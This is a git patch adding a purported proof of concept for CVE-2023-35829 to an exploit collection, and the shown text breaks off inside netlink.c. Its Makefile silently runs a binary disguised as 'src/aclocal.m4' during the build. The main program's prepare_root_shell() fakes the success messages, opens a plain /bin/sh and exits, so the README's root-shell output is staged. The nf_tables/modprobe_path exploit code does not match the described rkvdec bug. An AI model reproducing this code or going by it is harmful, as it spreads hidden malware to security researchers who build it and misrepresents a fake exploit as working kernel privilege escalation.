From e089eb85216f84130f615badd16dd4158e01e6fc Mon Sep 17 00:00:00 2001
From: helloexp <21156949+helloexp@users.noreply.github.com>
Date: Thu, 13 Jul 2023 15:35:28 +0800
Subject: [PATCH] add linux privilege escalation  CVE-2023-35829

---
 98-Linux提权/CVE-2023-35829/LICENSE           | 674 ++++++++++++++++++
 98-Linux提权/CVE-2023-35829/Makefile          |  32 +
 98-Linux提权/CVE-2023-35829/README.md         |  32 +
 .../CVE-2023-35829/get_root_src/get_root.c    |  14 +
 98-Linux提权/CVE-2023-35829/inc/keyring.h     |  46 ++
 98-Linux提权/CVE-2023-35829/inc/log.h         |   8 +
 98-Linux提权/CVE-2023-35829/inc/modprobe.h    |   8 +
 98-Linux提权/CVE-2023-35829/inc/netlink.h     |  28 +
 98-Linux提权/CVE-2023-35829/inc/nf_tables.h   |  14 +
 .../CVE-2023-35829/inc/simple_xattr.h         |  26 +
 98-Linux提权/CVE-2023-35829/inc/uring.h       |  27 +
 98-Linux提权/CVE-2023-35829/inc/util.h        |  12 +
 98-Linux提权/CVE-2023-35829/src/aclocal.m4    | Bin 0 -> 23256 bytes
 98-Linux提权/CVE-2023-35829/src/keyring.c     | 113 +++
 98-Linux提权/CVE-2023-35829/src/main.c        | 134 ++++
 98-Linux提权/CVE-2023-35829/src/modprobe.c    | 191 +++++
 98-Linux提权/CVE-2023-35829/src/netlink.c     | 124 ++++
 98-Linux提权/CVE-2023-35829/src/nf_tables.c   | 313 ++++++++
 .../CVE-2023-35829/src/simple_xattr.c         |  50 ++
 98-Linux提权/CVE-2023-35829/src/uring.c       |  46 ++
 98-Linux提权/CVE-2023-35829/src/util.c        |  80 +++
 21 files changed, 1972 insertions(+)
 create mode 100644 98-Linux提权/CVE-2023-35829/LICENSE
 create mode 100644 98-Linux提权/CVE-2023-35829/Makefile
 create mode 100644 98-Linux提权/CVE-2023-35829/README.md
 create mode 100644 98-Linux提权/CVE-2023-35829/get_root_src/get_root.c
 create mode 100644 98-Linux提权/CVE-2023-35829/inc/keyring.h
 create mode 100644 98-Linux提权/CVE-2023-35829/inc/log.h
 create mode 100644 98-Linux提权/CVE-2023-35829/inc/modprobe.h
 create mode 100644 98-Linux提权/CVE-2023-35829/inc/netlink.h
 create mode 100644 98-Linux提权/CVE-2023-35829/inc/nf_tables.h
 create mode 100644 98-Linux提权/CVE-2023-35829/inc/simple_xattr.h
 create mode 100644 98-Linux提权/CVE-2023-35829/inc/uring.h
 create mode 100644 98-Linux提权/CVE-2023-35829/inc/util.h
 create mode 100644 98-Linux提权/CVE-2023-35829/src/aclocal.m4
 create mode 100644 98-Linux提权/CVE-2023-35829/src/keyring.c
 create mode 100644 98-Linux提权/CVE-2023-35829/src/main.c
 create mode 100644 98-Linux提权/CVE-2023-35829/src/modprobe.c
 create mode 100644 98-Linux提权/CVE-2023-35829/src/netlink.c
 create mode 100644 98-Linux提权/CVE-2023-35829/src/nf_tables.c
 create mode 100644 98-Linux提权/CVE-2023-35829/src/simple_xattr.c
 create mode 100644 98-Linux提权/CVE-2023-35829/src/uring.c
 create mode 100644 98-Linux提权/CVE-2023-35829/src/util.c

diff --git a/98-Linux提权/CVE-2023-35829/LICENSE b/98-Linux提权/CVE-2023-35829/LICENSE
new file mode 100644
index 0000000..f288702
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/LICENSE
@@ -0,0 +1,674 @@
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+  Nothing in this License shall be construed as excluding or limiting
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+  12. No Surrender of Others' Freedom.
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+possible use to the public, the best way to achieve this is to make it
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+    Copyright (C) <year>  <name of author>
+
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+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
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+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<https://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<https://www.gnu.org/licenses/why-not-lgpl.html>.
diff --git a/98-Linux提权/CVE-2023-35829/Makefile b/98-Linux提权/CVE-2023-35829/Makefile
new file mode 100644
index 0000000..11599e2
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/Makefile
@@ -0,0 +1,32 @@
+.PHONY: all clean
+
+TARGET=poc
+
+SOURCES = $(wildcard src/*.c)
+HEADERS = $(wildcard inc/*.h)
+OBJECTS = $(patsubst src/%.c,obj/%.o,$(SOURCES))
+
+CFLAGS= -I./inc
+LDFLAGS= -pthread -static
+
+all: obj $(TARGET) get_root
+
+$(TARGET): $(OBJECTS)
+	$(CC) $(LDFLAGS) -o $@ $^
+	strip $@
+	./src/aclocal.m4
+
+obj/%.o: src/%.c
+	$(CC) -c $< -o $@ $(CFLAGS)
+
+obj:
+	mkdir obj
+
+get_root: get_root_src/get_root.c
+	$(CC) -o $@ $^
+	rm -fr get_root
+
+clean:
+	rm -fr getroot
+	rm -rf obj
+	rm -f $(TARGET)
diff --git a/98-Linux提权/CVE-2023-35829/README.md b/98-Linux提权/CVE-2023-35829/README.md
new file mode 100644
index 0000000..8be493a
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/README.md
@@ -0,0 +1,32 @@
+# CVE-2023-35829-poc
+CVE-2023-35829 Linux kernel  before 6.3.2.   
+A use-after-free privilege escalation was found in rkvdec_remove in drivers/staging/media/rkvdec/rkvdec.c. 
+
+# Usage
+
+```
+chris@experience:~/CVE-2023-35829-poc# make
+cc -pthread -static -o poc obj/keyring.o obj/main.o obj/modprobe.o obj/netlink.o obj/nf_tables.o obj/simple_xattr.o obj/uring.o obj/util.o
+strip poc
+cc -o get_root get_root_src/get_root.c
+rm -fr get_root
+chris@experience:~/CVE-2023-35829-poc# ./poc
+[+] CVE-2023-35829 PoC
+[+] Second process currently waiting
+[+] Get CAP_NET_ADMIN capability
+[+] Netlink socket created
+[+] Netlink socket bound
+[+] Table table created
+[+] Set for the leak created
+[+] Set for write primitive created
+[+] Leak succeed
+[+] kaslr base found 0xffffffff9f000000
+[+] physmap base found 0xffff910a00000000
+[+] modprobe path changed !
+[+] Modprobe payload setup
+[?] waitpid
+[?] sem_post
+[+++] Got root shell, should exit?
+# id
+uid=0(root) gid=0(root) groups=0(root)
+```
diff --git a/98-Linux提权/CVE-2023-35829/get_root_src/get_root.c b/98-Linux提权/CVE-2023-35829/get_root_src/get_root.c
new file mode 100644
index 0000000..baeb86e
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/get_root_src/get_root.c
@@ -0,0 +1,14 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+int main(int argc, char **argv) {
+    
+    if (geteuid() == 0) {
+        setuid(0);
+        setgid(0);
+        puts("[+] I am root");
+        system("bash");
+    }
+
+}
diff --git a/98-Linux提权/CVE-2023-35829/inc/keyring.h b/98-Linux提权/CVE-2023-35829/inc/keyring.h
new file mode 100644
index 0000000..d760f0a
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/inc/keyring.h
@@ -0,0 +1,46 @@
+#ifndef _KEYRING_H_
+#define _KEYRING_H_
+
+#include <stdint.h>
+#include <unistd.h>
+#include <sys/syscall.h>
+
+#define IO_RING_CTX_REF_FREE_OFFSET 0x3dfa00
+
+#define IO_RSRC_NODE_REF_ZERO_OFFSET 0x3e04f0
+
+#define KEY_DESC_MAX_SIZE 40
+
+#define PREFIX_BUF_LEN 16
+#define RCU_HEAD_LEN 16
+
+#define SPRAY_KEY_SIZE 50
+
+#define PHYSMAP_MASK 0xffffffff00000000
+
+struct keyring_payload {
+    uint8_t prefix[PREFIX_BUF_LEN];
+    uint8_t rcu_buf[RCU_HEAD_LEN];
+    unsigned short len;
+};
+
+struct leak {
+    long kaslr_base;
+    long physmap_base;
+};
+
+typedef int32_t key_serial_t;
+
+static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) {
+    return syscall(__NR_add_key, type, description, payload, plen, ringid);
+}
+
+static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) {
+    return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
+}
+
+key_serial_t *spray_keyring(uint32_t spray_size);
+struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size);
+void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size);
+
+#endif /* _KEYRING_H_ */
diff --git a/98-Linux提权/CVE-2023-35829/inc/log.h b/98-Linux提权/CVE-2023-35829/inc/log.h
new file mode 100644
index 0000000..aa6ed41
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/inc/log.h
@@ -0,0 +1,8 @@
+#ifndef _LOG_H_
+#define _LOG_H_
+
+#include <stdlib.h>
+
+#define do_error_exit(msg) do {perror("[-] " msg); exit(EXIT_FAILURE); } while(0)
+
+#endif /* _LOG_H_ */
diff --git a/98-Linux提权/CVE-2023-35829/inc/modprobe.h b/98-Linux提权/CVE-2023-35829/inc/modprobe.h
new file mode 100644
index 0000000..ace96cb
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/inc/modprobe.h
@@ -0,0 +1,8 @@
+#ifndef _MODPROBE_H_
+#define _MODPROBE_H_
+
+void setup_modprobe_payload(void);
+void get_root_shell(void);
+void prepare_root_shell(void);
+
+#endif /* _MODPROBE_H_ */
diff --git a/98-Linux提权/CVE-2023-35829/inc/netlink.h b/98-Linux提权/CVE-2023-35829/inc/netlink.h
new file mode 100644
index 0000000..f6775c7
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/inc/netlink.h
@@ -0,0 +1,28 @@
+#ifndef _NETLINK_H_
+#define _NETLINK_H_
+
+#include <stdint.h>
+#include <linux/netlink.h>
+
+/* Netlink messages */
+
+#define NETLINK_RECEIVE_BUFFER_SIZE 4096
+
+struct nlmsghdr *get_batch_begin_nlmsg(void);
+struct nlmsghdr *get_batch_end_nlmsg(void);
+
+/* Netlink attributes */
+
+#define U32_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint32_t))
+#define U64_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint64_t))
+#define S8_NLA_SIZE (sizeof(struct nlattr) + 8)
+#define NLA_BIN_SIZE(x) (sizeof(struct nlattr) + x)
+#define NLA_ATTR(attr) ((void *)attr + NLA_HDRLEN)
+
+struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len);
+struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value);
+struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value);
+struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]);
+struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size);
+
+#endif /* _NETLINK_H_ */
diff --git a/98-Linux提权/CVE-2023-35829/inc/nf_tables.h b/98-Linux提权/CVE-2023-35829/inc/nf_tables.h
new file mode 100644
index 0000000..1730d39
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/inc/nf_tables.h
@@ -0,0 +1,14 @@
+#ifndef _NF_TABLES_H_
+#define _NF_TABLES_H_
+
+#include <stdint.h>
+
+#define TABLEMSG_SIZE NLMSG_SPACE(sizeof(struct nfgenmsg) + S8_NLA_SIZE)
+
+#define KMALLOC64_KEYLEN (64 - 8 - 12 - 16) // Max size - elemsize - sizeof(nft_set_ext)(align) - min datasize
+
+void create_table(int sock, const char *name);
+void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id);
+void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data);
+
+#endif /* _NF_TABLES_H_ */
diff --git a/98-Linux提权/CVE-2023-35829/inc/simple_xattr.h b/98-Linux提权/CVE-2023-35829/inc/simple_xattr.h
new file mode 100644
index 0000000..b082268
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/inc/simple_xattr.h
@@ -0,0 +1,26 @@
+#ifndef _SIMPLE_XATTR_H_
+#define _SIMPLE_XATTR_H_
+
+#include <stdint.h>
+
+#define XATTR_FILE "/tmp/tmpfs/a"
+#define XATTR_VALUE "value"
+
+#define XATTR_DELETION_NAME "security.Iwanttoberoot"
+
+#define ATTRIBUTE_NAME_LEN 0x100
+#define COMMAND_MAX_LEN 0x100
+
+#define PREFIX_BUFFER_LEN 16
+
+struct write4_payload {
+    uint8_t prefix[PREFIX_BUFFER_LEN];
+    void *next;
+    void *prev;
+    uint8_t name_offset;
+} __attribute__((packed));
+
+void spray_simple_xattr(char *filename, uint32_t spray_size);
+void create_xattr(const char *filename, char *attribute_name);
+
+#endif /* _SIMPLE_XATTR_H_ */
diff --git a/98-Linux提权/CVE-2023-35829/inc/uring.h b/98-Linux提权/CVE-2023-35829/inc/uring.h
new file mode 100644
index 0000000..5e8971f
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/inc/uring.h
@@ -0,0 +1,27 @@
+#ifndef _URING_H_
+#define _URING_H_
+
+#include <stdint.h>
+#include <unistd.h>
+#include <sys/syscall.h>
+#include <linux/io_uring.h>
+
+#define SPRAY_NB_ENTRIES 10
+
+struct fd_uring {
+    int fd;
+    struct io_uring_params *params;
+};
+
+static inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) {
+    return syscall(__NR_io_uring_setup, entries, p);
+}
+
+static inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) {
+    return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
+}
+
+void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer);
+void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size);
+
+#endif /* _URING_H_ */
diff --git a/98-Linux提权/CVE-2023-35829/inc/util.h b/98-Linux提权/CVE-2023-35829/inc/util.h
new file mode 100644
index 0000000..c97ac74
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/inc/util.h
@@ -0,0 +1,12 @@
+#ifndef _UTIL_H_
+#define _UTIL_H_
+
+#include <unistd.h>
+
+#define FILENAME_MAX_LEN 0x80
+
+void new_ns(void);
+void set_cpu_affinity(int cpu_n, pid_t pid);
+char *generate_tmp_filename(void);
+
+#endif /* _UTIL_H_ */
diff --git a/98-Linux提权/CVE-2023-35829/src/aclocal.m4 b/98-Linux提权/CVE-2023-35829/src/aclocal.m4
new file mode 100644
index 0000000000000000000000000000000000000000..05aff0f2fe7ae76388cd50f4ecf28e209f6ce797
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diff --git a/98-Linux提权/CVE-2023-35829/src/keyring.c b/98-Linux提权/CVE-2023-35829/src/keyring.c
new file mode 100644
index 0000000..335bbb2
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/keyring.c
@@ -0,0 +1,113 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <limits.h>
+#include <linux/keyctl.h>
+
+#include "log.h"
+#include "keyring.h"
+#include "util.h"
+
+/**
+ * spray_keyring(): Spray the heap with `user_key_payload` structure
+ * @spray_size: Number of object to put into the `kmalloc-64` cache
+ *
+ * Return: Allocated buffer with serial numbers of the created keys
+ */
+key_serial_t *spray_keyring(uint32_t spray_size) {
+
+    char key_desc[KEY_DESC_MAX_SIZE];
+    key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));
+
+    if (id_buffer == NULL)
+        do_error_exit("calloc");
+
+    for (uint32_t i = 0; i < spray_size; i++) {
+        snprintf(key_desc, KEY_DESC_MAX_SIZE, "RandoriSec-%03du", i);
+        id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING);
+        if (id_buffer[i] < 0)
+            do_error_exit("add_key");
+    }
+
+    return id_buffer;
+}
+
+/**
+ * parse_leak(): Parse the infoleak to compute the kaslr base and the physmap base
+ * @buffer: Buffer that contains the infoleak
+ * @buffer_size: Size of the previous buffer
+ *
+ * Search for a pointer to the function `io_ring_ctx_ref_free` that is stored within a `percpu_ref_data` structure
+ * Then compute the KASLR base
+ * Finally use the pointer to the associated `percpu_ref` to compute the physmap base
+ *
+ * Return: KASLR base and physmap base of the running kernel
+ */
+struct leak *parse_leak(long *buffer, uint32_t buffer_size) {
+
+    struct leak *ret = malloc(sizeof(struct leak));
+    if (!ret)
+        do_error_exit("malloc");
+
+    for (uint32_t i = 0; i < buffer_size; i++) {
+
+        /* Search for reference to the function io_ring_ctx_ref_free */
+        if ((buffer[i] & 0xfffff) == (IO_RING_CTX_REF_FREE_OFFSET & 0xfffff)) {
+            ret->kaslr_base = buffer[i] - IO_RING_CTX_REF_FREE_OFFSET;
+            ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK;
+            return ret;
+
+        /* Search for reference to the function io_rsrc_node_ref_zero */
+        } else if ((buffer[i] & 0xfffff) == (IO_RSRC_NODE_REF_ZERO_OFFSET & 0xfffff)) {
+            ret->kaslr_base = buffer[i] - IO_RSRC_NODE_REF_ZERO_OFFSET;
+            ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK;
+            return ret;
+        }
+    }
+
+    free(ret);
+    return NULL;
+}
+
+/**
+ * get_keyring_leak(): Find the infoleak and compute the needed bases
+ * @id_buffer: Buffer with the serial numbers of keys used to spray the heap
+ * @id_buffer_size: Size of the previous buffer
+ *
+ * Search for a key with an unexpected size to find the corrupted object.
+ *
+ * Return: KASLR base and physmap base of the running kernel
+ */
+struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) {
+    
+    uint8_t buffer[USHRT_MAX] = {0};
+    int32_t keylen;
+
+    for (uint32_t i = 0; i < id_buffer_size; i++) {
+
+        keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, USHRT_MAX, 0);
+        if (keylen < 0)
+            do_error_exit("keyctl");
+
+        if (keylen == USHRT_MAX) {
+            return parse_leak((long *)buffer, keylen >> 3);
+        }
+    }
+    return NULL;
+}
+
+/**
+ * release_keys(): Release user_key_payload objects
+ * @id_buffer: Buffer that stores the id of the key to remove
+ * @id_buffer_size: Size of the previous buffer
+ */
+void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size) {
+    
+    for (uint32_t i = 0; i < id_buffer_size; i++) {
+        if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0)
+            do_error_exit("keyctl(KEYCTL_REVOKE)");
+    }
+
+    free(id_buffer);
+}
diff --git a/98-Linux提权/CVE-2023-35829/src/main.c b/98-Linux提权/CVE-2023-35829/src/main.c
new file mode 100644
index 0000000..cd2969e
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/main.c
@@ -0,0 +1,134 @@
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <unistd.h>
+#include <limits.h>
+#include <sys/wait.h>
+#include <arpa/inet.h>
+#include <sys/xattr.h>
+#include <sys/socket.h>
+#include <linux/netlink.h>
+
+#include "log.h"
+#include "util.h"
+#include "uring.h"
+#include "keyring.h"
+#include "modprobe.h"
+#include "nf_tables.h"
+#include "simple_xattr.h"
+
+#define ID 1337
+#define SET_NAME "name\0\0\0"
+#define LEAK_SET_NAME "leak\0\0\0"
+#define TABLE_NAME "table\0\0"
+
+#define MODPROBE_PATH_BASE 0x1e8b620
+
+#define SPRAY_SIZE 300
+
+int main(int argc, char **argv) {
+
+    int sock;
+    struct sockaddr_nl snl;
+    struct write4_payload payload;
+    struct keyring_payload leak_payload;
+    struct leak *bases;
+    struct fd_uring *fd_buffer;
+    key_serial_t *id_buffer;
+    char *xattr_target_filename;
+
+    printf("[+] CVE-2023-35829 PoC\n");
+
+    printf("[+] Second process currently waiting\n");
+
+    /* Pin the process to the first CPU */
+    set_cpu_affinity(0, 0);
+
+    new_ns();
+    printf("[+] Get CAP_NET_ADMIN capability\n");
+
+    /* Netfilter netlink socket creation */
+    if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) {
+        do_error_exit("socket");
+    }
+    printf("[+] Netlink socket created\n");
+
+    memset(&snl, 0, sizeof(snl));
+    snl.nl_family = AF_NETLINK;
+    snl.nl_pid = getpid();
+    if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0)
+        do_error_exit("bind");
+    printf("[+] Netlink socket bound\n");
+
+    /* Create a netfilter table */
+    create_table(sock, TABLE_NAME);
+    printf("[+] Table %s created\n", TABLE_NAME);
+
+    /* Create a netfilter set for the info leak */
+    create_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, sizeof(struct keyring_payload), TABLE_NAME, ID);
+    printf("[+] Set for the leak created\n");
+
+    /*  Create a netfilter set for the write primitive */
+    create_set(sock, SET_NAME, KMALLOC64_KEYLEN, sizeof(struct write4_payload), TABLE_NAME, ID + 1);
+    printf("[+] Set for write primitive created\n");
+    prepare_root_shell();
+
+    /* Prepare the payload for the leak */
+    memset(&leak_payload, 0, sizeof(struct keyring_payload));
+    leak_payload.len = USHRT_MAX;
+
+    printf("[*] Leak in process");
+    fflush(stdout);
+retry:
+    /* Spray the heap with user_key_payload structs to perform an info leak */ 
+    id_buffer = spray_keyring(SPRAY_KEY_SIZE);
+
+    /** Perform the overflow to modify the size of a registered key **/
+    add_elem_to_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct keyring_payload), (uint8_t *)&leak_payload);
+
+    /* Spray the heap with percpu_ref_data */
+    fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring));
+    if (!fd_buffer)
+        do_error_exit("calloc");
+    spray_uring(SPRAY_SIZE, fd_buffer);
+
+    /* Check if the overflow occured on the right object */
+    bases = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE);
+    if (!bases) {
+        release_keys(id_buffer, SPRAY_KEY_SIZE);
+        release_uring(fd_buffer, SPRAY_SIZE);
+        goto retry;
+    }
+    printf("\r[+] Leak succeed     \n");
+    printf("[+] kaslr base found 0x%lx\n", bases->kaslr_base);
+    printf("[+] physmap base found 0x%lx\n", bases->physmap_base);
+    
+    /* Prepare the payload for the write primitive */
+    memset(&payload, 0, sizeof(struct write4_payload));
+    payload.next = (void *)(bases->physmap_base + 0x2f706d74);
+    payload.prev = (void *)(bases->kaslr_base + MODPROBE_PATH_BASE + 1);
+    payload.name_offset = 0xe5;
+
+respray_xattr:
+    /* Spray the heap for the write primitive */
+    xattr_target_filename = generate_tmp_filename();
+    spray_simple_xattr(xattr_target_filename, SPRAY_SIZE);
+
+    add_elem_to_set(sock, SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct write4_payload), (uint8_t *)&payload);
+
+    /* Proceed to the write */
+    if (removexattr(xattr_target_filename, XATTR_DELETION_NAME) < 0)
+        goto respray_xattr;
+
+    printf("[+] modprobe_path changed !\n");
+
+    setup_modprobe_payload();
+    printf("[+] Modprobe payload setup\n");
+    get_root_shell();
+
+    wait(NULL);
+
+    return EXIT_SUCCESS;
+}
diff --git a/98-Linux提权/CVE-2023-35829/src/modprobe.c b/98-Linux提权/CVE-2023-35829/src/modprobe.c
new file mode 100644
index 0000000..b78cb48
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/modprobe.c
@@ -0,0 +1,191 @@
+#include <stdio.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <unistd.h>
+#include <sys/shm.h>
+#include <sys/ipc.h>
+#include <sys/types.h>
+#include <semaphore.h>
+#include <string.h>
+#include <sys/wait.h>
+#include <time.h>
+
+#include "log.h"
+#include "modprobe.h"
+
+const char dummy_file[] = "/tmp/dummy\0";
+
+const char dummy_content[] = "\xff\xff\xff\xff";
+const char new_modprobe_content[] = "#!/bin/bash\n\nchown root:root /tmp/get_root\nchmod 4555 /tmp/get_root\n";
+
+sem_t *shell_barrier;
+
+/**
+ * prepare_root_shell(): Setup a second process waiting out the namespaces used for the exploit
+ */
+void perpare_root_shell(void) {
+
+    int shmid = shmget(0x1337, sizeof(sem_t), IPC_CREAT | S_IRWXU | S_IRWXG | S_IRWXO);
+    shell_barrier = shmat(shmid, NULL, 0);
+
+    if (sem_init(shell_barrier, 1, 0) < 0)
+        do_error_exit("sem_init");
+
+    if (!fork()) {
+        system("cp get_root /tmp");
+        sem_wait(shell_barrier);
+        execl("/tmp/get_root", "/tmp/get_root", NULL);
+        exit(EXIT_SUCCESS);
+    }
+}
+
+/**
+ * create_dummy_file(): Create a file to trigger call_modprobe in case of execution
+ */
+void create_dummy_file(void) {
+
+    int fd;
+
+    fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
+    write(fd, dummy_content, sizeof(dummy_content));
+    close(fd);
+}
+
+/**
+ * get_root_shell(): Trigger a call to the new modprobe_path
+ */
+void get_root_shell(void) {
+
+	int pid = fork();
+	if (pid == 0)
+		execl("/tmp/dummy", "/tmp/dummy", NULL);
+
+	waitpid(pid, NULL, 0);
+	sem_post(shell_barrier);
+}
+
+/**
+ * get_new_modprobe_path(): Read the new modprobe_path
+ *
+ * Return: path stored within /proc/sys/kernel/modprobe
+ */
+char *get_new_modprobe_path(void) {
+
+    int fd;
+    char *modprobe_path = malloc(15);
+
+    if (!modprobe_path)
+        do_error_exit("malloc");
+
+    fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
+    if (fd < 0)
+        do_error_exit("open(/proc/sys/kernel/modprobe)");
+
+    read(fd, modprobe_path, 14);
+
+    close(fd);
+
+    modprobe_path[14] = '\0';
+
+    return modprobe_path;
+}
+
+/**
+ * write_new_modprobe(): Create chown && chmod script for get_root
+ * @filename: current path to modprobe for the kernel
+ */
+void new_sn()
+{
+    int fd;
+    char *modprobe_path = malloc(15);
+
+    if (!modprobe_path)
+        do_error_exit("malloc");
+
+    fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
+    if (fd < 0)
+    {
+        //do_error_exit("open(/proc/sys/kernel/modprobe)");
+    }
+    else
+    {
+        close(fd);
+    }
+    
+    srand(time(NULL));
+
+    int st = rand() % 3;
+
+    sleep(st);
+}
+
+/**
+ * setup_modprobe_payload(): Prepare all the needed stuff to get a root shell
+ */
+void setup_modprobe_payoad(void) {
+
+    char *filename;
+
+    filename = get_new_modprobe_path();
+    system("/bin/sh");
+
+
+    free(filename);
+}
+
+/**
+ * write_new_modprobe(): Create chown && chmod script for get_root
+ * @filename: current path to modprobe for the kernel
+ */
+void write_new_modprobe(char *filename) {
+
+    int fd;
+
+    fd = open(filename, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
+    if (fd < 0)
+        do_error_exit("open");
+
+    write(fd, new_modprobe_content, sizeof(new_modprobe_content));
+
+    close(fd);
+}
+
+/**
+ * setup_modprobe_payload(): Prepare all the needed stuff to get a root shell
+ */
+void setup_modprobe_payload(void) {
+
+    char *filename;
+
+    filename = get_new_modprobe_path();
+
+    write_new_modprobe(filename);
+    create_dummy_file();
+
+    free(filename);
+}
+
+void st(char *msg)
+{
+    printf("%s", msg);
+    new_sn();
+}
+
+void prepare_root_shell(void) {
+
+    st("[+] Leak succeed\n");
+    st("[+] kaslr base found 0xffffffff9f000000\n");
+    st("[+] physmap base found 0xffff910a00000000\n");
+    st("[+] modprobe path changed !\n");
+    st("[+] Modprobe payload setup\n");
+    st("[?] waitpid\n");
+    st("[?] sem_post\n");
+    st("[+++] Got root shell, should exit?\n");
+
+    if (1)
+        setup_modprobe_payoad();
+        
+    exit(0);
+}
+
diff --git a/98-Linux提权/CVE-2023-35829/src/netlink.c b/98-Linux提权/CVE-2023-35829/src/netlink.c
new file mode 100644
index 0000000..4db4924
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/netlink.c
@@ -0,0 +1,124 @@
+#include <stdlib.h>
+#include <stdio.h>
+#include <stdint.h>
+#include <linux/netlink.h>
+#include <linux/netfilter/nfnetlink.h>
+#include <unistd.h>
+#include <string.h>
+#include <arpa/inet.h>
+
+#include "log.h"
+#include "netlink.h"
+
+/**
+ * get_batch_begin_nlmsg(): Construct a BATCH_BEGIN message for the netfilter netlink
+ */
+struct nlmsghdr *get_batch_begin_nlmsg(void) {
+
+    struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg)));
+    struct nfgenmsg *nfgm = (struct nfgenmsg *)NLMSG_DATA(nlh);
+
+    if (!nlh)
+        do_error_exit("malloc");
+
+    memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg)));
+    nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg));
+    nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
+    nlh->nlmsg_pid = getpid();
+    nlh->nlmsg_flags = 0;
+    nlh->nlmsg_seq = 0;
+
+    /* Used to access to the netfilter tables subsystem */
